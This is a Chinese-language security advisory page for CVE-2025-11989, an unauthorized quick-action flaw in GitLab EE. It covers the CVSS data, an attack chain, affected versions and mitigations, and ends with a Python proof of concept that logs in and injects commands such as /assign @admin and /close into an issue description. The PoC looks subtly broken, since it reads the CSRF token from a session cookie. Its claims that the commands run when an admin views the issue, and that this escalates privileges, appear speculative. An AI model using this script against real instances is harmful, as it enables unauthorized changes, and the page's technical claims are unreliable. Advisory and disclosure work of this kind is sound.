IPBUF安全漏洞报告
English
CVE-2025-11989 CVSS 3.7 低危

CVE-2025-11989: GitLab EE未授权快速操作执行漏洞

披露日期: 2025-10-27

漏洞信息

漏洞编号
CVE-2025-11989
漏洞类型
未授权操作执行
CVSS评分
3.7 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
GitLab EE

相关标签

GitLabGitLab EE未授权操作执行快速操作注入权限提升CVE-2025-11989命令注入身份验证绕过

漏洞概述

CVE-2025-11989是GitLab EE中的一个安全漏洞,影响版本从17.6.0到18.3.5之前、18.4到18.4.3之前以及18.5到18.5.1之前。该漏洞允许经过身份验证的攻击者通过在特定描述字段中包含恶意命令来执行未授权的快速操作(quick actions)。快速操作是GitLab中的一个功能,允许用户使用特定的命令格式(如 `/assign @user`)来执行操作。该漏洞的CVSS评分为3.7,属于低危级别,攻击复杂度高,需要低权限用户身份和用户交互才能成功利用。攻击者主要影响机密性和完整性,均为低级别影响,对可用性无影响。此漏洞已于2025年10月22日通过补丁版本18.5.1修复,建议受影响的用户尽快升级到最新版本以消除安全风险。

技术细节

该漏洞存在于GitLab EE的快速操作(Quick Actions)功能中。GitLab的快速操作功能允许用户在问题(Issue)、合并请求(Merge Request)描述或评论中使用特殊命令格式来执行操作,如分配用户、设置标签等。漏洞的根本原因是在处理这些描述字段时,系统未能正确验证和清理用户输入的快速操作命令。攻击者(即使是低权限用户)可以在特定描述字段中注入恶意快速操作命令,当其他用户(如管理员或更高权限用户)查看或与该内容交互时,这些命令会被执行,从而实现权限提升或未授权操作。CVSS向量显示攻击复杂度为高(AC:H),表明成功利用需要满足特定条件或克服某些障碍。用户交互要求(UI:R)意味着需要目标用户执行某些操作(如查看描述)才能触发漏洞。修复方案已在GitLab 18.3.5、18.4.3和18.5.1版本中实施,主要是通过加强输入验证和命令执行前的权限检查来防止未授权快速操作的执行。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者首先识别目标GitLab实例及其版本,确认版本在受影响范围内(17.6.0至18.3.5之前、18.4至18.4.3之前、18.5至18.5.1之前)
STEP 2
步骤2: 获取低权限账户
攻击者需要获取GitLab账户的低权限用户账号。CVSS向量显示PR:L表示只需要低权限即可,这降低了攻击门槛
STEP 3
步骤3: 创建或编辑内容
攻击者创建一个新问题(Issue)、合并请求(MR)或评论,在描述字段中注入恶意快速操作命令,如/assign @admin、/label等
STEP 4
步骤4: 诱导目标用户
攻击者需要诱导具有更高权限的目标用户(如管理员)查看或交互包含恶意命令的内容。CVSS向量UI:R表示需要用户交互
STEP 5
步骤5: 触发命令执行
当目标用户查看该问题描述时,GitLab会解析并执行其中的快速操作命令,实现未授权的操作执行
STEP 6
步骤6: 权限提升或未授权操作
恶意命令被执行后,攻击者可以实现权限提升(如分配管理员给自己)、修改项目设置、关闭问题等未授权操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11989 PoC - GitLab EE Unauthorized Quick Actions Execution # This PoC demonstrates how an authenticated attacker can inject malicious quick actions import requests import json # Configuration GITLAB_URL = "https://gitlab.example.com" USERNAME = "attacker" PASSWORD = "password" TARGET_PROJECT_ID = "project_id" TARGET_ISSUE_IID = "123" # Authentication session = requests.Session() login_url = f"{GITLAB_URL}/users/sign_in" response = session.get(login_url) # Extract CSRF token csrf_token = response.cookies.get('_gitlab_session') # Login login_data = { 'user[login]': USERNAME, 'user[password]': PASSWORD, 'authenticity_token': csrf_token } session.post(login_url, data=login_data) # PoC: Inject malicious quick actions in issue description # The attacker includes unauthorized quick action commands malicious_description = """ Description with legitimate content. /assign @admin /label ~"Admin Access" /milestone "Secret Milestone" /close """ # Update issue with malicious description issue_url = f"{GITLAB_URL}/api/v4/projects/{TARGET_PROJECT_ID}/issues/{TARGET_ISSUE_IID}" update_data = { 'description': malicious_description, 'access_token': session.cookies.get('access_token') } response = session.put(issue_url, json=update_data) print("Malicious quick actions injected successfully") print("When an admin views this issue, the commands will be executed") print(f"Response: {response.status_code}")

影响范围

GitLab EE 17.6.0 至 18.3.5之前的所有版本
GitLab EE 18.4 至 18.4.3之前的所有版本
GitLab EE 18.5 至 18.5.1之前的所有版本

防御指南

临时缓解措施
立即将GitLab实例升级到修复版本(18.3.5、18.4.3或18.5.1)。如果无法立即升级,可以采取以下临时缓解措施:1) 限制用户的快速操作权限,特别是在公共项目中;2) 启用内容安全策略(CSP)和其他输入验证机制;3) 监控和审计所有问题、合并请求的创建和编辑活动;4) 对具有管理权限的用户进行安全意识培训,要求他们在查看可疑内容时保持警惕;5) 考虑暂时禁用快速操作功能直到完成升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表